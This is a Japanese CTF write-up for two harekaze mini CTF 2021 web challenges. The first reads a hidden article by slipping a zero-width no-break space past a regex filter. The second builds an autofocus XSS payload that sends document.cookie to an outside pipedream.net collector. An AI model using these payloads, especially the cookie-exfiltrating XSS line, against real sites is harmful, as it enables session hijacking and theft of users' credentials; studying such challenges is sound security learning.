harekaze mini CTF 2021 write up

# harekaze mini CTF 2021



## Web

### Incomplete Blog

問題

![](https://i.imgur.com/cq1xA1N.png)


配布コード（一部）

```
const fastify = require('fastify');
const path = require('path');
const { flag } = require('./secret');

// generate articles
let articles = [];
for (let i = 0; i < 10000; i++) {
  articles.push({
    title: `Dummy article ${i}`,
    content: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.'.trim()
  });
}
articles[1337] = {
  title: 'Flag',
  content: `Wow, how do you manage to read this article? Anyway, the flag is: <code>${flag}</code>`
};

const app = fastify({ logger: true });
app.register(require('point-of-view'), {
  engine: {
    ejs: require('ejs')
  },
  root: path.join(__dirname, 'view')
});
app.register(require('fastify-static'), {
  root: path.join(__dirname, 'static'),
  prefix: '/static/',
});

app.get('/', async (request, reply) => {
  return reply.view('index.ejs', { articles });
});



app.get('/article/:id', async (request, reply) => {
  // id should not be negative 
 
  if (/^[\b\t\n\v\f\r \xa0]*-/.test(request.params.id)) {
    return reply.view('article.ejs', {
      title: 'Access denied',
      content: 'Hacking attempt detected.'
    });
  }

  let id = parseInt(request.params.id, 10);

  // free users cannot read articles with id >9
  if (id > 9) {
    return reply.view('article.ejs', {
      title: 'Access denied',
      content: 'You need to become a premium user to read this content.'
    });
  }

  const article = articles.at(id) ?? {
    title: 'Not found',
    content: 'The requested article was not found.'
  };

  return reply.view('article.ejs', article);
});

const start = async () => {
  try {
    await app.listen(3000, '0.0.0.0');
    app.log.info(`server listening on ${app.server.address().port}`);
  } catch (err) {
    app.log.error(err);
    process.exit(1);
  }
};
start();
```

フィルターをバイパスし、article/1337にアクセスできればFlagを獲得できそうです。

フィルターの内容は以下の通りです。

- 正規表現によるフィルター:
    - タブ文字
    - 改行文字
    - 垂直タブ
    - 改ページ
    - 空白文字
    - "-"（ハイフン）

- [parseInt](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/parseInt)による変換

- 数値制限:
    - 9以上はAccess deniedになる

また、articleを定義している、[at](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/at)は負数も受け取ってくれるとのことなので、正規表現を突破し-8663をidに渡してあげればFlagのページにアクセスできそうだと考えました。

parseIntは先頭のホワイトスペースが無視されるそうですが、正規表現によりチェックされていたため、負数の表現方法を調べていましたがここで時間切れでした。

以下は競技後の復習です。
正規表現にチェックされないホワイトスペースを探し、バイパスすることが想定解でした。
なんで負数の表現とか考えたんだ....

MDNでホワイトスペースについて調べてみます。
https://developer.mozilla.org/ja/docs/Glossary/Whitespace

HTML
>HTML Living Standard では、 U+0009 TAB (タブ), U+000A LF (改行), U+000C FF (頁送り), U+000D CR (復帰), U+0020 SPACE (空白) の5文字を ASCII ホワイトスペースとして定めています。

JavaScript
>ECMAScript® 2015 言語仕様書では、いくつかの Unicode コードポイントをホワイトスペースとして定めています。 U+0009 CHARACTER TABULATION <TAB>, U+000B LINE TABULATION <VT>, U+000C FORM FEED <FF>, U+0020 SPACE <SP>, U+00A0 NO-BREAK SPACE <NBSP>, U+FEFF ZERO WIDTH NO-BREAK SPACE <ZWNBSP> および その他のカテゴリ “Zs” Unicode の他の “Separator, space” コードポイント <USP> に属するすべての文字です。
    
上記のような記載がありました。
U+FEFFはエスケープされてなさそうです。

下記リンクによるとutf-8では EF BB BFと表現するようです。
https://unicode-table.com/jp/FEFF/

よって、これを使いFlagページにアクセスしてみます。

```
http://incomplete-blog.harekaze.com/article/%EF%BB%BF-8663
```

![](https://i.imgur.com/npdlIln.png)

Flagが取れました。

   
### その他JSの関数や演算子のリンク

[test()](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)


[??](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator)

    
### Osoraku Secure Note

    
問題
![](https://i.imgur.com/01aI9Bz.png)

![](https://i.imgur.com/t26UjLf.png)
 
解法

ぱっとみXSSの問題だろうなと思いました。
しかし、HTMLtagはdel,em,strongしか使えないみたいです。

まあtagが使えるならonfocusとかで発火するんじゃないかと思い以下を試してみました。

```
<strong id=x tabindex=1 onfocus=alert(1)></strong>
```

![](https://i.imgur.com/E6WkCWq.png)

発火しちゃいました。
あとは管理者のCookieを自前のサーバに送ってあげればFlagだったのですが、ここで時間切れとなりました。
1問目で苦戦してしまい、あとで解いてやろうと思ってたら競技が終わってました。
	
ということで以下は復習です。

xssは発現しましたが、上のペイロードだとtabをクリックしないとjsが実行されませんので、ページにアクセスした際にjsが実行されるように工夫しないといけません。

[autofocus](http://www.htmq.com/html5/input_autofocus.shtml)という属性が使えそうなので、以下のペイロードを試したところうまくいきました。
	
```
<strong id=x tabindex=1 onfocus=alert(1) autofocus></strong>
```

自前のサーバに通信させるようにペイロードを書き換えます。

```
<strong id=x tabindex=1 onfocus=fetch("https://enk47zjyito2ohs.m.pipedream.net") autofocus></strong>
```

リダイレクトすると面倒なので、fetchを使いました。
※公式writeupではnavigator.sendBeaconを使ってました。

ちなみに自前のサーバは用意するのが面倒なので[Requestbin](https://requestbin.com/)を使ってます。
2クリック程度でWebサーバが立ち上がるので便利です。

上記のペイロードで通信が確認できたので、あとはCookieを取ってくるだけです。

```
<strong id=x tabindex=1 onfocus=fetch(`https://enk47zjyito2ohs.m.pipedream.net?cookie=${document.cookie}`) autofocus></strong>
```

![](https://i.imgur.com/Oxv1Oxh.png)
	
flagげっとー。
	

## 感想
今回のCTFは競技時間が3時間と、短かったので焦りました。
冷静になれば解けたなあという問題がいくつかありましたが、何を言っても後の祭りですね。。。
	
引き続き精進します。